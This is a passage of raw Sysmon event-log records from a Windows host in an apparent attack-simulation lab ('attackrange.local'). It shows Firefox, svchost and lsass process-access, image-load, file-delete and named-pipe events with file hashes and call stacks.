Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 23542300x800000000000000050309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.122{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A556FE3DFADBDC55D1669FDEFFEAE410,SHA256=884C8A9ED0D19CB9839840800E36837B99E2DA62C1AF5F80E1AF7259EFB137B9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.122{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000050305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\devobj.dll10.0.14393.0 (rs1_release.160715-1616)Device Information Set DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdevinfoset.DLLMD5=72AD993A6E896EB50058A73D045F3284,SHA256=CFF524F52D5F91788F34A47076E0CA36132890981079B27F559279B3F6FC3B11,IMPHASH=DFDCA72C641F8587ADF49CA0ED1D5817trueMicrosoft WindowsValid 10341000x800000000000000050304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 23542300x800000000000000050301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59bc2|C:\Program Files\Mozilla Firefox\xul.dll+313dfc|C:\Program Files\Mozilla Firefox\xul.dll+faff25|C:\Program Files\Mozilla Firefox\xul.dll+bfb6f4|C:\Program Files\Mozilla Firefox\xul.dll+3136cd|C:\Program Files\Mozilla Firefox\xul.dll+399c9b|C:\Program Files\Mozilla Firefox\xul.dll+39949d|C:\Program Files\Mozilla Firefox\xul.dll+be61ca|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173 10341000x800000000000000050299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59bc2|C:\Program Files\Mozilla Firefox\xul.dll+b73a63|C:\Program Files\Mozilla Firefox\xul.dll+b736f4|C:\Program Files\Mozilla Firefox\xul.dll+faf7f0|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0|C:\Program Files\Mozilla Firefox\xul.dll+f0ba15|C:\Program Files\Mozilla Firefox\xul.dll+f0b5a4|C:\Program Files\Mozilla Firefox\xul.dll+f0b049|C:\Program Files\Mozilla Firefox\xul.dll+f0bc7f 10341000x800000000000000050298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.106{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a52a99|C:\Program Files\Mozilla Firefox\xul.dll+e415b8|C:\Program Files\Mozilla Firefox\xul.dll+19d7315|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+19a2909|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 18141800x800000000000000050296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.106{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-0C:\Program Files\Mozilla Firefox\firefox.exe 17141700x800000000000000050295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:24.106{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-0C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.090{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nlaapi.dll10.0.14393.3808 (rs1_release.200707-2105)Network Location Awareness 2Microsoft® Windows® Operating SystemMicrosoft Corporationnlaapi.dllMD5=63EB5F68082B8C8C392E5DAC1D4EC678,SHA256=58EC364601FA6FE26525D8ADB44B7EDEFCFB73E72897C77B6E37F73E1C7BF871,IMPHASH=0B7F4620EB804B43452C1AFA5341A2C2trueMicrosoft WindowsValid 734700x800000000000000050293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.090{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winrnr.dll10.0.14393.0 (rs1_release.160715-1616)LDAP RnR Provider DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationwinrnrMD5=B0DE13ABF238AB28E963629B977A012F,SHA256=43288C8A658C2F0CB0CB1C9D874506D6CEEF455AAB68CE2EF0D685DE8E3BA0C3,IMPHASH=77C2BDF68EAD031D294626FB2F3033A1trueMicrosoft WindowsValid 734700x800000000000000050292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.090{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000050291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.090{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\NapiNSP.dll10.0.14393.0 (rs1_release.160715-1616)E-mail Naming Shim ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationnapinsp.dllMD5=71514D9A6350A37B4F0BAA6ACB751771,SHA256=5DB99D6784900D85BB4A62E9F40B4EC628054D41B38A5E93F80C7A8BB066EBBB,IMPHASH=8D3297F500E5144336C044019A1ACFD4trueMicrosoft WindowsValid 10341000x800000000000000050290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b5f85d|C:\Program Files\Mozilla Firefox\xul.dll+b6f7fa|C:\Program Files\Mozilla Firefox\xul.dll+b4ce69|C:\Program Files\Mozilla Firefox\xul.dll+b625a0|C:\Program Files\Mozilla Firefox\xul.dll+1a1a5c2|C:\Program Files\Mozilla Firefox\xul.dll+19205a2|C:\Program Files\Mozilla Firefox\xul.dll+191e8cd|C:\Program Files\Mozilla Firefox\xul.dll+3858d8|C:\Program Files\Mozilla Firefox\xul.dll+fb7376|C:\Program Files\Mozilla Firefox\xul.dll+fb6c0d|C:\Program Files\Mozilla Firefox\xul.dll+fb6e03|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457 10341000x800000000000000050288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000050287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 18141800x800000000000000050285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.075{7BD73061-728F-613B-5C0B-00000000F001}6212\chrome.4776.2.123892325C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+1b5a9c|C:\Program Files\Mozilla Firefox\xul.dll+a0c416|C:\Program Files\Mozilla Firefox\xul.dll+a06fcf|C:\Program Files\Mozilla Firefox\xul.dll+19c3d4d|C:\Program Files\Mozilla Firefox\xul.dll+19c2501|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 17141700x800000000000000050282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:24.075{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.2.123892325C:\Program Files\Mozilla Firefox\firefox.exe 18141800x800000000000000050281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.075{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.1.27140296C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.075{7BD73061-728D-613B-560B-00000000F001}47763944C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+133dab|C:\Program Files\Mozilla Firefox\xul.dll+121475d|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:24.075{7BD73061-728D-613B-560B-00000000F001}4776\gecko-crash-server-pipe.4776C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.059{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\userenv.dll10.0.14393.4583 